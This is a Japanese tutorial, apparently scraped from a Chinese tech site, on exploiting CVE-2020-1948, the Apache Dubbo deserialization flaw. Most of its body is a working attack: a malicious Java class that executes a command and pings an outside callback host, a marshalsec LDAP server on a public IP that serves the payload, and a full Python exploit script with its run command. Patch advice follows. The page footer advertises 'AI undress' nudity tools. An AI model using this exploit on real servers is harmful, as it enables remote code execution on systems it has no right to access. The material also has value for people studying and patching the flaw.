Apache Dubbo デシリアライゼーションの脆弱性を分析する方法
はじめに
Dubbo は、Alibaba がオープンソース化した高性能で優れたサービス フレームワークです。これにより、アプリケーションは高性能 RPC を通じてサービスの出力および入力機能を実現でき、Spring フレームワークとシームレスに統合できます。 。このシステムには、リモート インターフェイス メソッドの呼び出し、インテリジェントなフォールト トレランスと負荷分散、サービスの自動登録と検出を含む 3 つのコア機能があります。
概要
2020 年 6 月 23 日、Apache Dubbo は、Apache Dubbo のリモート コード実行に関するリスク通知を正式にリリースしました。脆弱性番号は CVE-2020-1948、脆弱性レベルは高です。危険。 Apache Dubbo は、高性能で軽量のオープン ソース Java RPC フレームワークで、インターフェイス指向のリモート メソッド呼び出し、インテリジェントなフォールト トレランスと負荷分散、自動サービス登録と検出という 3 つのコア機能を提供します。 Apache Dubbo Provider には逆シリアル化の脆弱性があります。攻撃者は、RPC リクエストを通じて、認識できないサービス名またはメソッド名と一部の悪意のあるパラメータ ペイロードを送信することができます。悪意のあるパラメータが逆シリアル化されると、リモートでコードが実行される可能性があります。
影響を受けるバージョン
Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (正式にメンテナンスは終了)
環境セットアップ
実行環境とコンパイルされた exp 環境の JDK バージョンは両方とも 8u121 です。テスト環境を開始します
java -jar dubbo.jar
PORT STATE SERVICE VERSION12345/tcp opentextui Alibaba Dubbo remoting telnetd
importjavax.naming.Context; importjavax.naming.Name; importjavax.naming.spi.ObjectFactory; importjava.util.Hashtable; publicclasscalc implementsObjectFactory{@OverridepublicObjectgetObjectInstance(Objectobj,Namename,ContextnameCtx,Hashtable<?,?>environment)throwsException{Runtime.getRuntime().exec("ping test.sr3uwk.ceye.io"); returnnull; }}
javac calc.java
https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://139.9.198.30/#calc 8086
#テスト スクリプトを実行します。ここでのテストで使用される Python 環境は 3.8 です。 .0. 最初に依存関係パッケージをインストールします
python3 -m pip install dubbo-py
スクリプト コンテンツ (Dubbo.py):
# -*- coding: utf-8 -*-importsysfromdubbo.codec.hessian2 importDecoder,new_objectfromdubbo.client importDubboClientiflen(sys.argv)<4:print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))print('\nExample:\n\n- python {} 1.1.1.1 12345 ldap://1.1.1.6:80/exp'.format(sys.argv[0]))sys.exit()client =DubboClient(sys.argv[1],int(sys.argv[2]))JdbcRowSetImpl=new_object('com.sun.rowset.JdbcRowSetImpl',dataSource=sys.argv[3],strMatchColumns=["foo"])JdbcRowSetImplClass=new_object('java.lang.Class',name="com.sun.rowset.JdbcRowSetImpl",)toStringBean=new_object('com.rometools.rome.feed.impl.ToStringBean',beanClass=JdbcRowSetImplClass,obj=JdbcRowSetImpl )resp =client.send_request_and_return_response(service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',# 此处可以是 $invoke、$invokeSync、$echo 等,通杀 2.7.7 及 CVE 公布的所有版本。method_name='$invoke',args=[toStringBean])output =str(resp)if'Fail to decode request due to: RpcInvocation'inoutput:print('[!] Target maybe not support deserialization.')elif'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()'inoutput:print('[+] Succeed.')else:print('[!] Output:')print(output)print('[!] Target maybe not use dubbo-remoting library.')
スクリプトを実行します
python3 Dubbo.py 192.168.137.17312345ldap://139.9.198.30:8086/calc
ldap サービスではリクエストの転送も確認できます。
Bomb Calculator
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class calc implements ObjectFactory { @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime.getRuntime().exec("calc"); return null; } }
脆弱性修正
バージョン 2.7.7 にアップグレードし、次のリンクの方法に従ってパラメータ検証を実行します
https://github. com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de
#プロトコルと逆シリアル化方法を変更します。
以上がApache Dubbo デシリアライゼーションの脆弱性を分析する方法の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

AI Hentai Generator
AIヘンタイを無料で生成します。

人気の記事

ホットツール

メモ帳++7.3.1
使いやすく無料のコードエディター

SublimeText3 中国語版
中国語版、とても使いやすい

ゼンドスタジオ 13.0.1
強力な PHP 統合開発環境

ドリームウィーバー CS6
ビジュアル Web 開発ツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

ホットトピック

この記事では、dubbo+nacos+Spring Boot の実際の開発について詳しく説明する例を書きます。この記事では理論的な知識はあまり取り上げませんが、dubbo を nacos と統合して開発環境を迅速に構築する方法を説明する最も簡単な例を書きます。

はじめに Dubbo を紹介する前に、基本的な概念を理解しましょう: Dubbo は RPC フレームワークです. RPC は Remote Procedure Call (リモート プロシージャ コール) です. その反対はローカル プロシージャ コールです. 分散アーキテクチャの前に単一アプリケーション アーキテクチャと垂直アプリケーション アーキテクチャで使用されますこれらはすべてローカル プロシージャ コールです。これにより、プログラマがリモート呼び出しの詳細を明示的にコーディングすることなく、プログラムが別のアドレス空間 (通常はネットワーク上で共有される別のマシン) にあるプロシージャまたは関数を呼び出すことができます。分散アーキテクチャ アプリケーション間のリモート呼び出しには、ローカル呼び出しと同じくらい単純なリモート呼び出しを行うための RPC フレームワークが必要です。 Dubbo フレームワークには、リモート サービスを呼び出す次のコンポーネント Consumer があります。

すでに Dubbo の使用に熟練している場合、この記事は適していませんが、Dubbo を理解し、Dubbo を学習したい場合には、この記事は非常に適しています。

[[443126]] いくつかの言葉から始めましょう。私は歩いているときによく技術的な「なぜ質問」をたくさん考えます。時々、質問について長い間考え、納得できるまで質問が終わらないことがあります。質問のあらゆる点について私自身が説明します。そこで、その思いを記録し、新たなシリーズとして記事にしたいと思います。これらの記事ではコードを見ることはできないかもしれませんが、見落とされがちないくつかの問題と、問題のより深い「理由」を垣間見ることができます。今日は最初の記事をお届けします、なぜ Dubbo を Go で書き直す必要があるのですか? Dubbo は Alibaba で生まれ、2011 年にオープンソース化されましたが、10 年が経ちました。 2019 年に Go で書き直されてオープンソース化され、2 年後の現在はオリジナルの V1.0.0 バージョンから V3.0.0 に開発されています。

はじめに Dubbo は、Alibaba がオープンソース化した高性能で優れたサービス フレームワークであり、アプリケーションが高性能 RPC を通じてサービス出力および入力機能を実現でき、Spring フレームワークとシームレスに統合できます。これは、インターフェイス指向のリモート メソッド呼び出し、インテリジェントなフォールト トレランスと負荷分散、自動サービス登録と検出という 3 つのコア機能を提供します。概要 2020 年 6 月 23 日に、ApacheDubbo は ApacheDubbo のリモート コード実行に関するリスク通知を正式にリリースし、脆弱性番号は CVE-2020-1948、脆弱性レベルは「高リスク」です。 ApacheDubbo は、高性能かつ軽量のオープンソース JavaRPC フレームワークであり、次の 3 つのコア機能を提供します。

読者の皆様、今日は Dubbo の Go 言語について説明する記事をお届けします。 Dubbo は優れた分散サービス フレームワークとして広く使用されており、Java 言語でサポートされています。近年の Go 言語の急速な発展に伴い、多くの開発者は Dubbo がすでに Go 言語をサポートしているかどうかに強い関心を持っています。この記事では、Dubbo の Go 言語サポート、具体的な実装方法、コード例について詳しく説明します。

SPIは何に使われますか?たとえば、私たちは新しいロギング フレームワーク「スーパーロガー」を設計しました。デフォルトでは、XML ファイルがログの構成ファイルとして使用され、構成ファイル解析用のインターフェースが設計されています: packagecom.github.kongwu.spisamples; publicinterfaceSuperLoggerConfiguration{voidconfigure(StringconfigFile);} 次に、デフォルトの XML 実装があります: packagecom .github .kongwu.spisamples;publiccl

インターネットの継続的な発展に伴い、分散アーキテクチャは最新のアプリケーション開発の標準の 1 つになりました。このタイプのアーキテクチャでは、分散トランザクションを効率的に処理することが必要なスキルになります。 Redis はメモリベースのキャッシュ データベースとして、分散アプリケーションで広く使用されています。分散アプリケーションでは、Dubbo がサービス フレームワークとして使用され、Redis がデータ サポートを提供するキャッシュ データベースとして使用されます。これにより、高いサービス パフォーマンスを確保しながら高速なデータの読み取りと書き込みが可能になります。この記事では、Du での Redis の使用方法を詳しく紹介します。
